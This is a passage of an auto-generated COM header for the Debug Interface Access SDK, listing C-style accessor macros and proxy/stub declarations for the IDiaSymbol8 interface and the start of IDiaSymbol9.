IDiaSymbol8_get_msil(This,pRetVal) \ ( (This)->lpVtbl -> get_msil(This,pRetVal) ) #define IDiaSymbol8_get_virtualBaseDispIndex(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseDispIndex(This,pRetVal) ) #define IDiaSymbol8_get_undecoratedName(This,pRetVal) \ ( (This)->lpVtbl -> get_undecoratedName(This,pRetVal) ) #define IDiaSymbol8_get_age(This,pRetVal) \ ( (This)->lpVtbl -> get_age(This,pRetVal) ) #define IDiaSymbol8_get_signature(This,pRetVal) \ ( (This)->lpVtbl -> get_signature(This,pRetVal) ) #define IDiaSymbol8_get_compilerGenerated(This,pRetVal) \ ( (This)->lpVtbl -> get_compilerGenerated(This,pRetVal) ) #define IDiaSymbol8_get_addressTaken(This,pRetVal) \ ( (This)->lpVtbl -> get_addressTaken(This,pRetVal) ) #define IDiaSymbol8_get_rank(This,pRetVal) \ ( (This)->lpVtbl -> get_rank(This,pRetVal) ) #define IDiaSymbol8_get_lowerBound(This,pRetVal) \ ( (This)->lpVtbl -> get_lowerBound(This,pRetVal) ) #define IDiaSymbol8_get_upperBound(This,pRetVal) \ ( (This)->lpVtbl -> get_upperBound(This,pRetVal) ) #define IDiaSymbol8_get_lowerBoundId(This,pRetVal) \ ( (This)->lpVtbl -> get_lowerBoundId(This,pRetVal) ) #define IDiaSymbol8_get_upperBoundId(This,pRetVal) \ ( (This)->lpVtbl -> get_upperBoundId(This,pRetVal) ) #define IDiaSymbol8_get_dataBytes(This,cbData,pcbData,pbData) \ ( (This)->lpVtbl -> get_dataBytes(This,cbData,pcbData,pbData) ) #define IDiaSymbol8_findChildren(This,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildren(This,symtag,name,compareFlags,ppResult) ) #define IDiaSymbol8_findChildrenEx(This,symtag,name,compareFlags,ppResult) \ ( (This)->lpVtbl -> findChildrenEx(This,symtag,name,compareFlags,ppResult) ) #define IDiaSymbol8_findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) \ ( (This)->lpVtbl -> findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) ) #define IDiaSymbol8_findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) \ ( (This)->lpVtbl -> findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) ) #define IDiaSymbol8_findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) \ ( (This)->lpVtbl -> findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) ) #define IDiaSymbol8_get_targetSection(This,pRetVal) \ ( (This)->lpVtbl -> get_targetSection(This,pRetVal) ) #define IDiaSymbol8_get_targetOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_targetOffset(This,pRetVal) ) #define IDiaSymbol8_get_targetRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_targetRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol8_get_targetVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_targetVirtualAddress(This,pRetVal) ) #define IDiaSymbol8_get_machineType(This,pRetVal) \ ( (This)->lpVtbl -> get_machineType(This,pRetVal) ) #define IDiaSymbol8_get_oemId(This,pRetVal) \ ( (This)->lpVtbl -> get_oemId(This,pRetVal) ) #define IDiaSymbol8_get_oemSymbolId(This,pRetVal) \ ( (This)->lpVtbl -> get_oemSymbolId(This,pRetVal) ) #define IDiaSymbol8_get_types(This,cTypes,pcTypes,pTypes) \ ( (This)->lpVtbl -> get_types(This,cTypes,pcTypes,pTypes) ) #define IDiaSymbol8_get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) \ ( (This)->lpVtbl -> get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) ) #define IDiaSymbol8_get_objectPointerType(This,pRetVal) \ ( (This)->lpVtbl -> get_objectPointerType(This,pRetVal) ) #define IDiaSymbol8_get_udtKind(This,pRetVal) \ ( (This)->lpVtbl -> get_udtKind(This,pRetVal) ) #define IDiaSymbol8_get_undecoratedNameEx(This,undecorateOptions,name) \ ( (This)->lpVtbl -> get_undecoratedNameEx(This,undecorateOptions,name) ) #define IDiaSymbol8_get_noReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_noReturn(This,pRetVal) ) #define IDiaSymbol8_get_customCallingConvention(This,pRetVal) \ ( (This)->lpVtbl -> get_customCallingConvention(This,pRetVal) ) #define IDiaSymbol8_get_noInline(This,pRetVal) \ ( (This)->lpVtbl -> get_noInline(This,pRetVal) ) #define IDiaSymbol8_get_optimizedCodeDebugInfo(This,pRetVal) \ ( (This)->lpVtbl -> get_optimizedCodeDebugInfo(This,pRetVal) ) #define IDiaSymbol8_get_notReached(This,pRetVal) \ ( (This)->lpVtbl -> get_notReached(This,pRetVal) ) #define IDiaSymbol8_get_interruptReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_interruptReturn(This,pRetVal) ) #define IDiaSymbol8_get_farReturn(This,pRetVal) \ ( (This)->lpVtbl -> get_farReturn(This,pRetVal) ) #define IDiaSymbol8_get_isStatic(This,pRetVal) \ ( (This)->lpVtbl -> get_isStatic(This,pRetVal) ) #define IDiaSymbol8_get_hasDebugInfo(This,pRetVal) \ ( (This)->lpVtbl -> get_hasDebugInfo(This,pRetVal) ) #define IDiaSymbol8_get_isLTCG(This,pRetVal) \ ( (This)->lpVtbl -> get_isLTCG(This,pRetVal) ) #define IDiaSymbol8_get_isDataAligned(This,pRetVal) \ ( (This)->lpVtbl -> get_isDataAligned(This,pRetVal) ) #define IDiaSymbol8_get_hasSecurityChecks(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSecurityChecks(This,pRetVal) ) #define IDiaSymbol8_get_compilerName(This,pRetVal) \ ( (This)->lpVtbl -> get_compilerName(This,pRetVal) ) #define IDiaSymbol8_get_hasAlloca(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAlloca(This,pRetVal) ) #define IDiaSymbol8_get_hasSetJump(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSetJump(This,pRetVal) ) #define IDiaSymbol8_get_hasLongJump(This,pRetVal) \ ( (This)->lpVtbl -> get_hasLongJump(This,pRetVal) ) #define IDiaSymbol8_get_hasInlAsm(This,pRetVal) \ ( (This)->lpVtbl -> get_hasInlAsm(This,pRetVal) ) #define IDiaSymbol8_get_hasEH(This,pRetVal) \ ( (This)->lpVtbl -> get_hasEH(This,pRetVal) ) #define IDiaSymbol8_get_hasSEH(This,pRetVal) \ ( (This)->lpVtbl -> get_hasSEH(This,pRetVal) ) #define IDiaSymbol8_get_hasEHa(This,pRetVal) \ ( (This)->lpVtbl -> get_hasEHa(This,pRetVal) ) #define IDiaSymbol8_get_isNaked(This,pRetVal) \ ( (This)->lpVtbl -> get_isNaked(This,pRetVal) ) #define IDiaSymbol8_get_isAggregated(This,pRetVal) \ ( (This)->lpVtbl -> get_isAggregated(This,pRetVal) ) #define IDiaSymbol8_get_isSplitted(This,pRetVal) \ ( (This)->lpVtbl -> get_isSplitted(This,pRetVal) ) #define IDiaSymbol8_get_container(This,pRetVal) \ ( (This)->lpVtbl -> get_container(This,pRetVal) ) #define IDiaSymbol8_get_inlSpec(This,pRetVal) \ ( (This)->lpVtbl -> get_inlSpec(This,pRetVal) ) #define IDiaSymbol8_get_noStackOrdering(This,pRetVal) \ ( (This)->lpVtbl -> get_noStackOrdering(This,pRetVal) ) #define IDiaSymbol8_get_virtualBaseTableType(This,pRetVal) \ ( (This)->lpVtbl -> get_virtualBaseTableType(This,pRetVal) ) #define IDiaSymbol8_get_hasManagedCode(This,pRetVal) \ ( (This)->lpVtbl -> get_hasManagedCode(This,pRetVal) ) #define IDiaSymbol8_get_isHotpatchable(This,pRetVal) \ ( (This)->lpVtbl -> get_isHotpatchable(This,pRetVal) ) #define IDiaSymbol8_get_isCVTCIL(This,pRetVal) \ ( (This)->lpVtbl -> get_isCVTCIL(This,pRetVal) ) #define IDiaSymbol8_get_isMSILNetmodule(This,pRetVal) \ ( (This)->lpVtbl -> get_isMSILNetmodule(This,pRetVal) ) #define IDiaSymbol8_get_isCTypes(This,pRetVal) \ ( (This)->lpVtbl -> get_isCTypes(This,pRetVal) ) #define IDiaSymbol8_get_isStripped(This,pRetVal) \ ( (This)->lpVtbl -> get_isStripped(This,pRetVal) ) #define IDiaSymbol8_get_frontEndQFE(This,pRetVal) \ ( (This)->lpVtbl -> get_frontEndQFE(This,pRetVal) ) #define IDiaSymbol8_get_backEndQFE(This,pRetVal) \ ( (This)->lpVtbl -> get_backEndQFE(This,pRetVal) ) #define IDiaSymbol8_get_wasInlined(This,pRetVal) \ ( (This)->lpVtbl -> get_wasInlined(This,pRetVal) ) #define IDiaSymbol8_get_strictGSCheck(This,pRetVal) \ ( (This)->lpVtbl -> get_strictGSCheck(This,pRetVal) ) #define IDiaSymbol8_get_isCxxReturnUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isCxxReturnUdt(This,pRetVal) ) #define IDiaSymbol8_get_isConstructorVirtualBase(This,pRetVal) \ ( (This)->lpVtbl -> get_isConstructorVirtualBase(This,pRetVal) ) #define IDiaSymbol8_get_RValueReference(This,pRetVal) \ ( (This)->lpVtbl -> get_RValueReference(This,pRetVal) ) #define IDiaSymbol8_get_unmodifiedType(This,pRetVal) \ ( (This)->lpVtbl -> get_unmodifiedType(This,pRetVal) ) #define IDiaSymbol8_get_framePointerPresent(This,pRetVal) \ ( (This)->lpVtbl -> get_framePointerPresent(This,pRetVal) ) #define IDiaSymbol8_get_isSafeBuffers(This,pRetVal) \ ( (This)->lpVtbl -> get_isSafeBuffers(This,pRetVal) ) #define IDiaSymbol8_get_intrinsic(This,pRetVal) \ ( (This)->lpVtbl -> get_intrinsic(This,pRetVal) ) #define IDiaSymbol8_get_sealed(This,pRetVal) \ ( (This)->lpVtbl -> get_sealed(This,pRetVal) ) #define IDiaSymbol8_get_hfaFloat(This,pRetVal) \ ( (This)->lpVtbl -> get_hfaFloat(This,pRetVal) ) #define IDiaSymbol8_get_hfaDouble(This,pRetVal) \ ( (This)->lpVtbl -> get_hfaDouble(This,pRetVal) ) #define IDiaSymbol8_get_liveRangeStartAddressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartAddressSection(This,pRetVal) ) #define IDiaSymbol8_get_liveRangeStartAddressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartAddressOffset(This,pRetVal) ) #define IDiaSymbol8_get_liveRangeStartRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol8_get_countLiveRanges(This,pRetVal) \ ( (This)->lpVtbl -> get_countLiveRanges(This,pRetVal) ) #define IDiaSymbol8_get_liveRangeLength(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeLength(This,pRetVal) ) #define IDiaSymbol8_get_offsetInUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_offsetInUdt(This,pRetVal) ) #define IDiaSymbol8_get_paramBasePointerRegisterId(This,pRetVal) \ ( (This)->lpVtbl -> get_paramBasePointerRegisterId(This,pRetVal) ) #define IDiaSymbol8_get_localBasePointerRegisterId(This,pRetVal) \ ( (This)->lpVtbl -> get_localBasePointerRegisterId(This,pRetVal) ) #define IDiaSymbol8_get_isLocationControlFlowDependent(This,pRetVal) \ ( (This)->lpVtbl -> get_isLocationControlFlowDependent(This,pRetVal) ) #define IDiaSymbol8_get_stride(This,pRetVal) \ ( (This)->lpVtbl -> get_stride(This,pRetVal) ) #define IDiaSymbol8_get_numberOfRows(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfRows(This,pRetVal) ) #define IDiaSymbol8_get_numberOfColumns(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfColumns(This,pRetVal) ) #define IDiaSymbol8_get_isMatrixRowMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_isMatrixRowMajor(This,pRetVal) ) #define IDiaSymbol8_get_numericProperties(This,cnt,pcnt,pProperties) \ ( (This)->lpVtbl -> get_numericProperties(This,cnt,pcnt,pProperties) ) #define IDiaSymbol8_get_modifierValues(This,cnt,pcnt,pModifiers) \ ( (This)->lpVtbl -> get_modifierValues(This,cnt,pcnt,pModifiers) ) #define IDiaSymbol8_get_isReturnValue(This,pRetVal) \ ( (This)->lpVtbl -> get_isReturnValue(This,pRetVal) ) #define IDiaSymbol8_get_isOptimizedAway(This,pRetVal) \ ( (This)->lpVtbl -> get_isOptimizedAway(This,pRetVal) ) #define IDiaSymbol8_get_builtInKind(This,pRetVal) \ ( (This)->lpVtbl -> get_builtInKind(This,pRetVal) ) #define IDiaSymbol8_get_registerType(This,pRetVal) \ ( (This)->lpVtbl -> get_registerType(This,pRetVal) ) #define IDiaSymbol8_get_baseDataSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_baseDataSlot(This,pRetVal) ) #define IDiaSymbol8_get_baseDataOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_baseDataOffset(This,pRetVal) ) #define IDiaSymbol8_get_textureSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_textureSlot(This,pRetVal) ) #define IDiaSymbol8_get_samplerSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_samplerSlot(This,pRetVal) ) #define IDiaSymbol8_get_uavSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_uavSlot(This,pRetVal) ) #define IDiaSymbol8_get_sizeInUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_sizeInUdt(This,pRetVal) ) #define IDiaSymbol8_get_memorySpaceKind(This,pRetVal) \ ( (This)->lpVtbl -> get_memorySpaceKind(This,pRetVal) ) #define IDiaSymbol8_get_unmodifiedTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_unmodifiedTypeId(This,pRetVal) ) #define IDiaSymbol8_get_subTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_subTypeId(This,pRetVal) ) #define IDiaSymbol8_get_subType(This,pRetVal) \ ( (This)->lpVtbl -> get_subType(This,pRetVal) ) #define IDiaSymbol8_get_numberOfModifiers(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfModifiers(This,pRetVal) ) #define IDiaSymbol8_get_numberOfRegisterIndices(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfRegisterIndices(This,pRetVal) ) #define IDiaSymbol8_get_isHLSLData(This,pRetVal) \ ( (This)->lpVtbl -> get_isHLSLData(This,pRetVal) ) #define IDiaSymbol8_get_isPointerToDataMember(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerToDataMember(This,pRetVal) ) #define IDiaSymbol8_get_isPointerToMemberFunction(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerToMemberFunction(This,pRetVal) ) #define IDiaSymbol8_get_isSingleInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isSingleInheritance(This,pRetVal) ) #define IDiaSymbol8_get_isMultipleInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isMultipleInheritance(This,pRetVal) ) #define IDiaSymbol8_get_isVirtualInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isVirtualInheritance(This,pRetVal) ) #define IDiaSymbol8_get_restrictedType(This,pRetVal) \ ( (This)->lpVtbl -> get_restrictedType(This,pRetVal) ) #define IDiaSymbol8_get_isPointerBasedOnSymbolValue(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerBasedOnSymbolValue(This,pRetVal) ) #define IDiaSymbol8_get_baseSymbol(This,pRetVal) \ ( (This)->lpVtbl -> get_baseSymbol(This,pRetVal) ) #define IDiaSymbol8_get_baseSymbolId(This,pRetVal) \ ( (This)->lpVtbl -> get_baseSymbolId(This,pRetVal) ) #define IDiaSymbol8_get_objectFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_objectFileName(This,pRetVal) ) #define IDiaSymbol8_get_isAcceleratorGroupSharedLocal(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorGroupSharedLocal(This,pRetVal) ) #define IDiaSymbol8_get_isAcceleratorPointerTagLiveRange(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorPointerTagLiveRange(This,pRetVal) ) #define IDiaSymbol8_get_isAcceleratorStubFunction(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorStubFunction(This,pRetVal) ) #define IDiaSymbol8_get_numberOfAcceleratorPointerTags(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfAcceleratorPointerTags(This,pRetVal) ) #define IDiaSymbol8_get_isSdl(This,pRetVal) \ ( (This)->lpVtbl -> get_isSdl(This,pRetVal) ) #define IDiaSymbol8_get_isWinRTPointer(This,pRetVal) \ ( (This)->lpVtbl -> get_isWinRTPointer(This,pRetVal) ) #define IDiaSymbol8_get_isRefUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isRefUdt(This,pRetVal) ) #define IDiaSymbol8_get_isValueUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isValueUdt(This,pRetVal) ) #define IDiaSymbol8_get_isInterfaceUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isInterfaceUdt(This,pRetVal) ) #define IDiaSymbol8_findInlineFramesByAddr(This,isect,offset,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByAddr(This,isect,offset,ppResult) ) #define IDiaSymbol8_findInlineFramesByRVA(This,rva,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByRVA(This,rva,ppResult) ) #define IDiaSymbol8_findInlineFramesByVA(This,va,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByVA(This,va,ppResult) ) #define IDiaSymbol8_findInlineeLines(This,ppResult) \ ( (This)->lpVtbl -> findInlineeLines(This,ppResult) ) #define IDiaSymbol8_findInlineeLinesByAddr(This,isect,offset,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByAddr(This,isect,offset,length,ppResult) ) #define IDiaSymbol8_findInlineeLinesByRVA(This,rva,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByRVA(This,rva,length,ppResult) ) #define IDiaSymbol8_findInlineeLinesByVA(This,va,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByVA(This,va,length,ppResult) ) #define IDiaSymbol8_findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) \ ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) ) #define IDiaSymbol8_findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) \ ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) ) #define IDiaSymbol8_get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) \ ( (This)->lpVtbl -> get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) ) #define IDiaSymbol8_getSrcLineOnTypeDefn(This,ppResult) \ ( (This)->lpVtbl -> getSrcLineOnTypeDefn(This,ppResult) ) #define IDiaSymbol8_get_isPGO(This,pRetVal) \ ( (This)->lpVtbl -> get_isPGO(This,pRetVal) ) #define IDiaSymbol8_get_hasValidPGOCounts(This,pRetVal) \ ( (This)->lpVtbl -> get_hasValidPGOCounts(This,pRetVal) ) #define IDiaSymbol8_get_isOptimizedForSpeed(This,pRetVal) \ ( (This)->lpVtbl -> get_isOptimizedForSpeed(This,pRetVal) ) #define IDiaSymbol8_get_PGOEntryCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGOEntryCount(This,pRetVal) ) #define IDiaSymbol8_get_PGOEdgeCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGOEdgeCount(This,pRetVal) ) #define IDiaSymbol8_get_PGODynamicInstructionCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGODynamicInstructionCount(This,pRetVal) ) #define IDiaSymbol8_get_staticSize(This,pRetVal) \ ( (This)->lpVtbl -> get_staticSize(This,pRetVal) ) #define IDiaSymbol8_get_finalLiveStaticSize(This,pRetVal) \ ( (This)->lpVtbl -> get_finalLiveStaticSize(This,pRetVal) ) #define IDiaSymbol8_get_phaseName(This,pRetVal) \ ( (This)->lpVtbl -> get_phaseName(This,pRetVal) ) #define IDiaSymbol8_get_hasControlFlowCheck(This,pRetVal) \ ( (This)->lpVtbl -> get_hasControlFlowCheck(This,pRetVal) ) #define IDiaSymbol8_get_constantExport(This,pRetVal) \ ( (This)->lpVtbl -> get_constantExport(This,pRetVal) ) #define IDiaSymbol8_get_dataExport(This,pRetVal) \ ( (This)->lpVtbl -> get_dataExport(This,pRetVal) ) #define IDiaSymbol8_get_privateExport(This,pRetVal) \ ( (This)->lpVtbl -> get_privateExport(This,pRetVal) ) #define IDiaSymbol8_get_noNameExport(This,pRetVal) \ ( (This)->lpVtbl -> get_noNameExport(This,pRetVal) ) #define IDiaSymbol8_get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) \ ( (This)->lpVtbl -> get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) ) #define IDiaSymbol8_get_exportIsForwarder(This,pRetVal) \ ( (This)->lpVtbl -> get_exportIsForwarder(This,pRetVal) ) #define IDiaSymbol8_get_ordinal(This,pRetVal) \ ( (This)->lpVtbl -> get_ordinal(This,pRetVal) ) #define IDiaSymbol8_get_frameSize(This,pRetVal) \ ( (This)->lpVtbl -> get_frameSize(This,pRetVal) ) #define IDiaSymbol8_get_exceptionHandlerAddressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerAddressSection(This,pRetVal) ) #define IDiaSymbol8_get_exceptionHandlerAddressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerAddressOffset(This,pRetVal) ) #define IDiaSymbol8_get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol8_get_exceptionHandlerVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerVirtualAddress(This,pRetVal) ) #define IDiaSymbol8_findInputAssemblyFile(This,ppResult) \ ( (This)->lpVtbl -> findInputAssemblyFile(This,ppResult) ) #define IDiaSymbol8_get_characteristics(This,pRetVal) \ ( (This)->lpVtbl -> get_characteristics(This,pRetVal) ) #define IDiaSymbol8_get_coffGroup(This,pRetVal) \ ( (This)->lpVtbl -> get_coffGroup(This,pRetVal) ) #define IDiaSymbol8_get_bindID(This,pRetVal) \ ( (This)->lpVtbl -> get_bindID(This,pRetVal) ) #define IDiaSymbol8_get_bindSpace(This,pRetVal) \ ( (This)->lpVtbl -> get_bindSpace(This,pRetVal) ) #define IDiaSymbol8_get_bindSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_bindSlot(This,pRetVal) ) #define IDiaSymbol8_get_isObjCClass(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCClass(This,pRetVal) ) #define IDiaSymbol8_get_isObjCCategory(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCCategory(This,pRetVal) ) #define IDiaSymbol8_get_isObjCProtocol(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCProtocol(This,pRetVal) ) #define IDiaSymbol8_get_inlinee(This,pRetVal) \ ( (This)->lpVtbl -> get_inlinee(This,pRetVal) ) #define IDiaSymbol8_get_inlineeId(This,pRetVal) \ ( (This)->lpVtbl -> get_inlineeId(This,pRetVal) ) #define IDiaSymbol8_get_noexcept(This,pRetVal) \ ( (This)->lpVtbl -> get_noexcept(This,pRetVal) ) #define IDiaSymbol8_get_hasAbsoluteAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAbsoluteAddress(This,pRetVal) ) #define IDiaSymbol8_get_isStaticMemberFunc(This,pRetVal) \ ( (This)->lpVtbl -> get_isStaticMemberFunc(This,pRetVal) ) #define IDiaSymbol8_get_isSignRet(This,pRetVal) \ ( (This)->lpVtbl -> get_isSignRet(This,pRetVal) ) #define IDiaSymbol8_get_coroutineKind(This,pRetVal) \ ( (This)->lpVtbl -> get_coroutineKind(This,pRetVal) ) #define IDiaSymbol8_get_associatedSymbolKind(This,pRetVal) \ ( (This)->lpVtbl -> get_associatedSymbolKind(This,pRetVal) ) #define IDiaSymbol8_get_associatedSymbolSection(This,pRetVal) \ ( (This)->lpVtbl -> get_associatedSymbolSection(This,pRetVal) ) #define IDiaSymbol8_get_associatedSymbolOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_associatedSymbolOffset(This,pRetVal) ) #define IDiaSymbol8_get_associatedSymbolRva(This,pRetVal) \ ( (This)->lpVtbl -> get_associatedSymbolRva(This,pRetVal) ) #define IDiaSymbol8_get_associatedSymbolAddr(This,pRetVal) \ ( (This)->lpVtbl -> get_associatedSymbolAddr(This,pRetVal) ) #endif /* COBJMACROS */ #endif /* C style interface */ /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol8_get_coroutineKind_Proxy( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol8_get_coroutineKind_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol8_get_associatedSymbolKind_Proxy( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol8_get_associatedSymbolKind_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol8_get_associatedSymbolSection_Proxy( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol8_get_associatedSymbolSection_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol8_get_associatedSymbolOffset_Proxy( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol8_get_associatedSymbolOffset_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol8_get_associatedSymbolRva_Proxy( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol8_get_associatedSymbolRva_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol8_get_associatedSymbolAddr_Proxy( IDiaSymbol8 * This, /* [retval][out] */ ULONGLONG *pRetVal); void __RPC_STUB IDiaSymbol8_get_associatedSymbolAddr_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); #endif /* __IDiaSymbol8_INTERFACE_DEFINED__ */ #ifndef __IDiaSymbol9_INTERFACE_DEFINED__ #define __IDiaSymbol9_INTERFACE_DEFINED__ /* interface IDiaSymbol9 */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaSymbol9; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("a89e5969-92a1-4f8a-b704-00121c37abbb") IDiaSymbol9 : public IDiaSymbol8 { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_framePadSize( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_framePadOffset( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isRTCs( /* [retval][out] */ BOOL *pRetVal) = 0; }; #else /* C style interface */ typedef struct IDiaSymbol9Vtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaSymbol9 * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaSymbol9 * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaSymbol9 * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symIndexId )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symTag )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( IDiaSymbol9 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParent )( IDiaSymbol9 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParent )( IDiaSymbol9 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( IDiaSymbol9 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataKind )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_locationType )( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( 